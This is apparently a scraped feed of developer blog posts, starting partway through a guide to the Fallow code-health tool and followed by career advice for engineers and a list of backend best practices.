&lt;p&gt;Think of it as a colonoscopy for your codebase. Uncomfortable to look at. Absolutely necessary.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Your Current Setup Is Not Enough
&lt;/h2&gt;

&lt;p&gt;ESLint is not doing this job. TypeScript is not doing this job.&lt;/p&gt;

&lt;p&gt;ESLint catches style violations and obvious anti-patterns. It does not tell you that &lt;code&gt;src/utils/formatDate.ts&lt;/code&gt; hasn't been imported by anything in eight months.&lt;/p&gt;

&lt;p&gt;TypeScript's compiler will let you export a function to the void forever, completely unbothered.&lt;/p&gt;

&lt;p&gt;These tools are not designed to answer the question: &lt;em&gt;"Is this code actually alive?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Fallow is designed for exactly that.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Three Reports, Explained Simply
&lt;/h2&gt;

&lt;h3&gt;
  
  
  #1. Dead Code Analysis
&lt;/h3&gt;

&lt;p&gt;Dead code is not just unused variables. Fallow goes deeper.&lt;/p&gt;

&lt;p&gt;It traces your entry points — what your app actually boots from — and maps every import chain outward. Anything not reachable from that graph is dead.&lt;/p&gt;

&lt;p&gt;This includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unused files (the whole file. Gone. Pointless.)&lt;/li&gt;
&lt;li&gt;Unused exports (the function exists. Nobody calls it.)&lt;/li&gt;
&lt;li&gt;Unused dependencies (you installed it. You're not using it.)&lt;/li&gt;
&lt;li&gt;Circular imports (A imports B imports A. A disaster waiting to become a bug.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The goal here is zero. Not "few." Zero.&lt;/p&gt;

&lt;p&gt;If something is genuinely a public API that external consumers use, you annotate it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/** @public */&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;myPublicUtil&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything else that Fallow flags? Remove it or explain yourself.&lt;/p&gt;




&lt;h3&gt;
  
  
  #2. Duplication Analysis
&lt;/h3&gt;

&lt;p&gt;Here's the threshold that matters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&amp;lt; 5% duplication&lt;/strong&gt; — Low. You're doing well.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;5–15%&lt;/strong&gt; — Moderate. Review it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&amp;gt; 15%&lt;/strong&gt; — High. You have a copy-paste culture problem, not a code problem.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fallow finds Type-1 clones (exact copies) and Type-2 clones (same logic, renamed variables). The semantic mode catches the sneaky ones — the ones where someone changed &lt;code&gt;user&lt;/code&gt; to &lt;code&gt;customer&lt;/code&gt; and called it "abstraction."&lt;/p&gt;

&lt;p&gt;When you find a clone group with 3+ instances, that's not duplication anymore. That's a bug factory. Every time the logic needs to change, someone will update two of the three copies and miss the third.&lt;/p&gt;

&lt;p&gt;Extract it. Make it a shared utility. Move on.&lt;/p&gt;




&lt;h3&gt;
  
  
  #3. Health Analysis
&lt;/h3&gt;

&lt;p&gt;This is where Fallow earns its keep for senior engineers.&lt;/p&gt;

&lt;p&gt;Three metrics to know:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cyclomatic Complexity&lt;/strong&gt; — the number of independent paths through a function. If it's above 20, your function is doing too much. Above 50? That function should be arrested.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cognitive Complexity&lt;/strong&gt; — how hard the function is to &lt;em&gt;read&lt;/em&gt;, not just test. Target: ≤15. This is the one that catches deeply nested ifs-inside-loops-inside-ternaries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CRAP Score&lt;/strong&gt; (Change Risk Anti-Patterns) — combines complexity with test coverage. A CRAP score above 30 means you have complex, untested code. Above 100? That module is a liability.&lt;/p&gt;

&lt;p&gt;The fix is either: write tests, or simplify the function. Usually both.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Actually Start (Don't Skip This Part)
&lt;/h2&gt;

&lt;p&gt;Most developers install a tool, run it once, see 400 errors, close the terminal, and never open it again.&lt;/p&gt;

&lt;p&gt;Don't do that.&lt;/p&gt;

&lt;p&gt;Here's the sequence that works:&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Get the full picture
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx fallow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Do not panic at the output. You're not fixing everything today. You're learning the shape of the problem.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Initialize your config
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx fallow init
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates a &lt;code&gt;.fallow/config.json&lt;/code&gt; where you declare your entry points, ignored patterns, and thresholds. Without this, Fallow doesn't know that &lt;code&gt;src/index.ts&lt;/code&gt; is where your app starts — and it'll flag things that aren't actually dead.&lt;/p&gt;

&lt;p&gt;Set your entry points honestly. Don't cheat by marking everything as an entry point to make the numbers look good.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Triage by category
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx fallow dead-code &lt;span class="nt"&gt;--unused-files&lt;/span&gt;   &lt;span class="c"&gt;# Low-hanging fruit. Delete them.&lt;/span&gt;
npx fallow dead-code &lt;span class="nt"&gt;--unused-deps&lt;/span&gt;    &lt;span class="c"&gt;# Package.json bloat. Remove them.&lt;/span&gt;
npx fallow dead-code &lt;span class="nt"&gt;--unused-exports&lt;/span&gt; &lt;span class="c"&gt;# The sneaky ones. Investigate first.&lt;/span&gt;
npx fallow dupes                       &lt;span class="c"&gt;# Find the clone groups.&lt;/span&gt;
npx fallow health                      &lt;span class="c"&gt;# Find the complexity hotspots.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Don't try to fix everything at once. Pick the highest-severity items — unused files and high-instance clones — and batch them into a cleanup PR.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Preview before you delete
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx fallow fix &lt;span class="nt"&gt;--dry-run&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fallow can auto-remove dead exports and unused dependencies. Always run &lt;code&gt;--dry-run&lt;/code&gt; first. Review what it plans to touch. Then apply it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5: Lock it into CI
&lt;/h3&gt;

&lt;p&gt;Once the repo is clean, keep it clean.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx fallow audit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;audit&lt;/code&gt; runs only on changed files — perfect for PR checks. Add it to your GitHub Actions pipeline with &lt;code&gt;--fail-on-issues&lt;/code&gt; and you've made "don't introduce new dead code" a team policy, not a gentleman's agreement.&lt;/p&gt;




&lt;h2&gt;
  
  
  For CSS/SCSS People: Yes, Fallow Covers That Too
&lt;/h2&gt;

&lt;p&gt;If you're using CSS Modules, Fallow treats every class in your &lt;code&gt;.module.css&lt;/code&gt; file as an exported symbol.&lt;/p&gt;

&lt;p&gt;If that class isn't referenced anywhere in your component code, it shows up as an unused export.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="c"&gt;/* button.module.css */&lt;/span&gt;
&lt;span class="nc"&gt;.primaryBtn&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;   &lt;span class="c"&gt;/* ✅ Used */&lt;/span&gt;
&lt;span class="nc"&gt;.legacyBtn&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;    &lt;span class="c"&gt;/* ❌ Unused — Fallow flags this */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It also resolves &lt;code&gt;@use&lt;/code&gt; and &lt;code&gt;@forward&lt;/code&gt; chains in SCSS, tracks Tailwind's &lt;code&gt;@import&lt;/code&gt;, and handles partials. This is not an afterthought. The CSS analysis is first-class.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Metrics Cheat Sheet
&lt;/h2&gt;

&lt;p&gt;Keep this somewhere visible.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Target&lt;/th&gt;
&lt;th&gt;Warning&lt;/th&gt;
&lt;th&gt;Action Needed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Duplication %&lt;/td&gt;
&lt;td&gt;&amp;lt; 5%&lt;/td&gt;
&lt;td&gt;5–15%&lt;/td&gt;
&lt;td&gt;&amp;gt; 15%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cyclomatic Complexity&lt;/td&gt;
&lt;td&gt;≤ 20&lt;/td&gt;
&lt;td&gt;21–50&lt;/td&gt;
&lt;td&gt;&amp;gt; 50&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cognitive Complexity&lt;/td&gt;
&lt;td&gt;≤ 15&lt;/td&gt;
&lt;td&gt;16–30&lt;/td&gt;
&lt;td&gt;&amp;gt; 30&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CRAP Score&lt;/td&gt;
&lt;td&gt;&amp;lt; 30&lt;/td&gt;
&lt;td&gt;30–99&lt;/td&gt;
&lt;td&gt;≥ 100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Complexity Density&lt;/td&gt;
&lt;td&gt;&amp;lt; 0.3&lt;/td&gt;
&lt;td&gt;0.3–0.5&lt;/td&gt;
&lt;td&gt;&amp;gt; 0.5&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The health badge gives you an A–F grade for the whole project. A = 85+. F = you have a conversation to have with your team.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Honest Part
&lt;/h2&gt;

&lt;p&gt;Fallow will not fix your codebase.&lt;/p&gt;

&lt;p&gt;You will.&lt;/p&gt;

&lt;p&gt;What Fallow does is remove the excuse of not knowing. Before this, you could say "we don't know where the dead code is." That excuse is gone now. Before this, you could say "we can't measure duplication." Gone.&lt;/p&gt;

&lt;p&gt;The tool is free to start. The refactoring takes discipline.&lt;/p&gt;

&lt;p&gt;But the teams that do this — that actually clean the backlog, set thresholds, and gate new code in CI — those teams ship faster. Not because they have fewer lines of code, but because the lines they have are lines they understand.&lt;/p&gt;

&lt;p&gt;That's the whole point.&lt;/p&gt;




&lt;h2&gt;
  
  
  What to Do Right Now
&lt;/h2&gt;

&lt;p&gt;Not "this sprint." Right now.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx fallow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at the output. Pick the most embarrassing finding — the one you already suspected existed but never wanted to confirm. Fix that one thing.&lt;/p&gt;

&lt;p&gt;Then run it again.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Have you run Fallow on your project yet? Drop your findings in the comments — the duplication % especially. No judgment. Only solidarity.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;typescript&lt;/code&gt; &lt;code&gt;javascript&lt;/code&gt; &lt;code&gt;webdev&lt;/code&gt; &lt;code&gt;tooling&lt;/code&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Advice to Junior–Mid Level Engineers: Reality of the Job Market Today</title>
      <dc:creator>Olawale Afuye </dc:creator>
      <pubDate>Tue, 06 Jan 2026 20:07:45 +0000</pubDate>
      <link>https://forem.com/walosha/advice-to-junior-mid-level-engineers-reality-of-the-job-market-today-437h</link>
      <guid>https://forem.com/walosha/advice-to-junior-mid-level-engineers-reality-of-the-job-market-today-437h</guid>
      <description>&lt;h2&gt;
  
  
  1. The Market Has Changed — Adjust Your Expectations
&lt;/h2&gt;

&lt;p&gt;The job market you are entering is not the same one that existed 5–7 years ago.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Building a basic application is no longer impressive.&lt;/li&gt;
&lt;li&gt;“I built X” matters less than:

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;How it works&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Why it works&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;How it fails&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Companies are hiring fewer people and expecting broader impact from each hire.&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;This is not unfair. It is a rational response to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cost pressure&lt;/li&gt;
&lt;li&gt;More mature tooling&lt;/li&gt;
&lt;li&gt;Faster delivery expectations&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2. The Definition of “Junior” Has Shifted
&lt;/h2&gt;

&lt;p&gt;What used to be considered &lt;em&gt;mid-level&lt;/em&gt; is now expected from many junior engineers.&lt;/p&gt;

&lt;p&gt;Common expectations include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Comfort working across &lt;strong&gt;frontend and backend&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Ability to &lt;strong&gt;read and understand unfamiliar codebases&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Debugging &lt;strong&gt;production issues&lt;/strong&gt;, not just local bugs&lt;/li&gt;
&lt;li&gt;Basic understanding of &lt;strong&gt;deployment and environments&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Shipping features &lt;strong&gt;end-to-end&lt;/strong&gt; with minimal supervision&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your experience is limited to tutorials or copying patterns without understanding them, you will struggle.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. AI Tools Did Not Remove Jobs — They Removed Shallow Roles
&lt;/h2&gt;

&lt;p&gt;The job market did not disappear.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Low-leverage roles did.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Employers now avoid hiring engineers who:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can only write code when guided step-by-step&lt;/li&gt;
&lt;li&gt;Cannot explain design decisions or tradeoffs&lt;/li&gt;
&lt;li&gt;Cannot debug issues introduced by generated code&lt;/li&gt;
&lt;li&gt;Break down when requirements are unclear or incomplete&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Engineers who understand &lt;strong&gt;systems, failures, and constraints&lt;/strong&gt; remain in demand.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Projects Still Matter — But Only If They Show Depth
&lt;/h2&gt;

&lt;p&gt;Having many projects is not the goal.&lt;br&gt;&lt;br&gt;
Having &lt;strong&gt;one or two serious projects&lt;/strong&gt; is.&lt;/p&gt;

&lt;p&gt;A strong project demonstrates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Clear design decisions and tradeoffs&lt;/li&gt;
&lt;li&gt;Proper handling of edge cases&lt;/li&gt;
&lt;li&gt;Thoughtful error handling and observability&lt;/li&gt;
&lt;li&gt;Performance and scalability considerations&lt;/li&gt;
&lt;li&gt;What broke and how you fixed it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your project never failed, it is probably not deep enough.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Full-Stack Expectations Are Now the Norm
&lt;/h2&gt;

&lt;p&gt;Many companies cannot afford large, specialized teams.&lt;/p&gt;

&lt;p&gt;As a result, they prefer engineers who can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Work across frontend, backend, and basic infrastructure&lt;/li&gt;
&lt;li&gt;Understand APIs, data models, and UI constraints&lt;/li&gt;
&lt;li&gt;Communicate effectively with product and non-technical stakeholders&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You do not need to be an expert in everything.&lt;br&gt;&lt;br&gt;
You &lt;em&gt;do&lt;/em&gt; need to avoid being blocked by any single layer.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Speed Alone Is Not the Advantage
&lt;/h2&gt;

&lt;p&gt;Fast output is easy today.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Correct output is not.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;What employers value:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Finishing work without creating long-term problems&lt;/li&gt;
&lt;li&gt;Identifying risks early&lt;/li&gt;
&lt;li&gt;Knowing when &lt;em&gt;not&lt;/em&gt; to ship&lt;/li&gt;
&lt;li&gt;Writing code others can understand and maintain&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Speed without judgment is a liability.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Employability Now Depends on Ownership
&lt;/h2&gt;

&lt;p&gt;To remain employable, you must:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Take responsibility beyond assigned tickets&lt;/li&gt;
&lt;li&gt;Understand the business impact of your work&lt;/li&gt;
&lt;li&gt;Support what you build after release&lt;/li&gt;
&lt;li&gt;Learn continuously without waiting for permission&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The most secure engineers are not the smartest.&lt;br&gt;&lt;br&gt;
They are the most reliable.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Reality Check
&lt;/h2&gt;

&lt;h3&gt;
  
  
  This market rewards:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Engineers who think in systems&lt;/li&gt;
&lt;li&gt;Engineers who adapt quickly&lt;/li&gt;
&lt;li&gt;Engineers who finish work properly&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  It penalizes:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Surface-level knowledge&lt;/li&gt;
&lt;li&gt;Overreliance on tools&lt;/li&gt;
&lt;li&gt;Inability to operate without hand-holding&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is not a bad time to be an engineer.&lt;br&gt;&lt;br&gt;
It is a bad time to be an &lt;strong&gt;unprepared&lt;/strong&gt; one.&lt;/p&gt;

</description>
      <category>career</category>
      <category>discuss</category>
      <category>softwareengineering</category>
    </item>
    <item>
      <title>Thriving in the Age of AI: A Senior Software Engineer's Guide to Future-Proofing Your Career</title>
      <dc:creator>Olawale Afuye </dc:creator>
      <pubDate>Fri, 13 Sep 2024 12:20:37 +0000</pubDate>
      <link>https://forem.com/walosha/thriving-in-the-age-of-ai-a-senior-software-engineers-guide-to-future-proofing-your-career-3669</link>
      <guid>https://forem.com/walosha/thriving-in-the-age-of-ai-a-senior-software-engineers-guide-to-future-proofing-your-career-3669</guid>
      <description>&lt;p&gt;As AI and automation grow senior software engineers face changing job responsibilities. Here are some tactics to help you advance in your career and ensure success over time:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Welcome AI and Machine Learning (ML) Tools&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Study AI Frameworks and Tools&lt;/strong&gt;: Get to know common AI/ML frameworks such as TensorFlow, PyTorch, or scikit-learn. Knowing how these tools work and how to integrate them into current systems can boost your value.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Apply AI to Improve Development&lt;/strong&gt;: Use AI tools to complete code, find bugs, and run tests. Tools like GitHub Copilot, V0 by vercel, chatgpt, claude ai or DeepCode can help you write cleaner more effective code in less time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Emphasize System Design and Architecture&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Enhance Your System Design Skills: AI tools can't yet create complex systems from the ground up. Boost your know-how in crafting scalable, tough, and productive software structures.&lt;/p&gt;

&lt;p&gt;Get Good at Cloud and Distributed Systems: As more setups shift to the cloud, being an expert in cloud setup, microservices, and spread-out systems will keep being sought after.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Grow Cross-Functional Abilities&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Turn into a Full-Stack Developer&lt;/strong&gt;: If you haven't yet, broaden your skills to cover both frontend and backend development. This makes you more flexible and able to handle different project needs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Get to know DevOps and CI/CD&lt;/strong&gt;: Learn about DevOps practices, including Continuous Integration/Continuous Deployment (CI/CD) pipelines, containerization (Docker, Kubernetes), and Infrastructure as Code (IaC).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Focus on Areas Where AI Lacks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Put Human-Centered Skills First: Skills such as empathy, creativity, and leadership are hard to copy for AI. Look into jobs that involve managing stakeholders leading teams, and talking with clients.&lt;/p&gt;

&lt;p&gt;Build Up People Skills: Good communication, bargaining, and big-picture thinking are key areas where we'll always need human know-how.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Become an Expert in Special Tech Fields&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Get Really Good at New Tech&lt;/strong&gt;: Zero in on special areas like quantum computing, blockchain, edge computing, or cybersecurity where AI is still growing and we need human experts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Know Your Field Inside Out&lt;/strong&gt;: Become a pro in one industry (like healthcare or finance) where your tech skills plus industry knowledge can offer something unique.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Contribute to Open Source and Communities&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Get Involved with Developer Groups: Take part in open-source projects, help out in communities, and be active on developer forums. This helps you build connections and boost your standing in the tech world.&lt;/p&gt;

&lt;p&gt;Keep Up with Tech Changes: Often check tech news, go to conferences, watch webinars, and join workshops to learn about the newest industry shifts and technologies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. Pursue Leadership Roles&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Transition to Tech Leadership&lt;/strong&gt;: Think about roles such as Engineering Manager, Tech Lead, or CTO. These positions need you to make strategic decisions and manage people.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mentor and Coach&lt;/strong&gt;: Pass on your knowledge and experience. You can do this by guiding juniors or running workshops inside your company. This will cement your place as a must-have team member.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8. Use AI to Automate Everyday Tasks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Automate Repeated Work&lt;/strong&gt;: Put AI tools to work on regular tasks like keeping an eye on systems, running tests, and looking at data. This gives you time to tackle work that matters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Create Tools and In-house Utilities&lt;/strong&gt;: Make tools that automate tasks and utilities to boost how much your team or company gets done. This shows how valuable you are.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9. Keep an Open Mind and Roll with the Changes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Never Stop Learning and Adjusting&lt;/strong&gt;: Make learning a lifelong habit and be ready to switch to new tech or jobs as the field keeps changing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Try Out AI Projects&lt;/strong&gt;: Begin with small AI tasks to get a better grasp of what it can and can't do, and to discover how AI might boost your current abilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;10. Become the AI Champion in Your Workplace&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lead AI Integration Efforts&lt;/strong&gt;: Become the go-to person in your company who gets both software engineering and AI connecting data science and software development teams.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Identify AI Opportunities&lt;/strong&gt;: spot areas in your organization where AI can boost value, through making processes better, predicting trends, or providing automated help.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Final Thoughts&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The main idea is to see AI as a tool that boosts your skills rather than a danger. By mixing deep technical know-how with big-picture thinking, industry knowledge, and people skills, you can make yourself a must-have asset to your company.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Key Concepts Every Backend Engineer Should Master.</title>
      <dc:creator>Olawale Afuye </dc:creator>
      <pubDate>Mon, 31 Jul 2023 12:42:26 +0000</pubDate>
      <link>https://forem.com/walosha/key-concepts-every-backend-engineer-should-master-3ak7</link>
      <guid>https://forem.com/walosha/key-concepts-every-backend-engineer-should-master-3ak7</guid>
      <description>&lt;p&gt;I compliled a long list of essential and practical considerations when developing the backend of an application. Let's summarize and expand on each point.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Paginate long list of data&lt;/strong&gt;: When dealing with large datasets, it's essential to implement pagination to split the data into smaller chunks. This allows for more efficient data retrieval and reduces the load on the server and client.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Validate data coming in&lt;/strong&gt;: Data validation is crucial to ensure that the incoming data is in the correct format and meets the necessary constraints. This helps prevent errors and security vulnerabilities caused by malformed or malicious data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use ORM over raw query where possible&lt;/strong&gt;: Object-Relational Mapping (ORM) tools provide a more abstract and intuitive way to interact with the database, making it easier to write and maintain database queries. ORM helps avoid potential SQL injection vulnerabilities and enhances code readability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Always return a clear message and status code to the frontend&lt;/strong&gt;: When responding to client requests, the backend should provide clear and informative messages along with appropriate HTTP status codes. This helps frontend developers and users understand the outcome of their requests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Remove unnecessary data from response payload&lt;/strong&gt;: Minimizing the amount of data sent in the response can improve the application's performance and reduce network overhead. Only include the essential data needed by the frontend.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Keep things simple at first, don't over-engineer things&lt;/strong&gt;: Start with a simple and straightforward design for the backend. Avoid adding unnecessary complexity that might hinder development and maintenance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Don't optimize too early&lt;/strong&gt;: While performance is essential, premature optimization can lead to overcomplicated code. Focus on building a functional and secure system first, and then optimize performance based on real-world usage and profiling data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Think security first&lt;/strong&gt;: Security should be a top priority in any application. Implement best practices like hashing passwords, input validation, and avoiding SQL or NoSQL injections to protect the system from potential attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Avoid storing secrets in JWT&lt;/strong&gt;: JSON Web Tokens (JWT) are commonly used for authentication, but sensitive data like passwords or cryptographic keys should not be stored in them. Instead, use JWT to hold lightweight and non-sensitive information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cache frequently accessed data&lt;/strong&gt;: Caching can significantly improve the application's performance by storing frequently accessed data in memory. This reduces the need to fetch the same data repeatedly from the database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Understand the problem and the domain&lt;/strong&gt;: To build an effective backend, it's essential to have a good understanding of the problem domain. Properly model the data and design the system to meet the specific requirements of the application.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authentication and authorization&lt;/strong&gt;: The backend should handle user authentication to verify the identity of clients and then authorize access to specific resources based on user roles and permissions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Database communication&lt;/strong&gt;: The backend is responsible for interacting with the database, including reading, writing, updating, and deleting data. It should execute queries efficiently and handle database errors.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Error handling&lt;/strong&gt;: The backend should handle errors gracefully and provide meaningful error messages to clients to aid in debugging and troubleshooting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Logging and monitoring&lt;/strong&gt;: The backend should log important events and errors to facilitate debugging and provide insights into the system's health and performance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request/response compression&lt;/strong&gt;: Implementing compression techniques like Gzip or Brotli can reduce the size of data transferred between the backend and the client, resulting in faster communication.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cross-Origin Resource Sharing (CORS)&lt;/strong&gt;: If the backend provides APIs that are consumed by different domains, it should properly handle CORS to control access from different origins and prevent unauthorized cross-origin requests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Integration with external services&lt;/strong&gt;: Many applications rely on external services like payment gateways, email services, or third-party APIs. The backend should be able to integrate with these services securely.&lt;/p&gt;

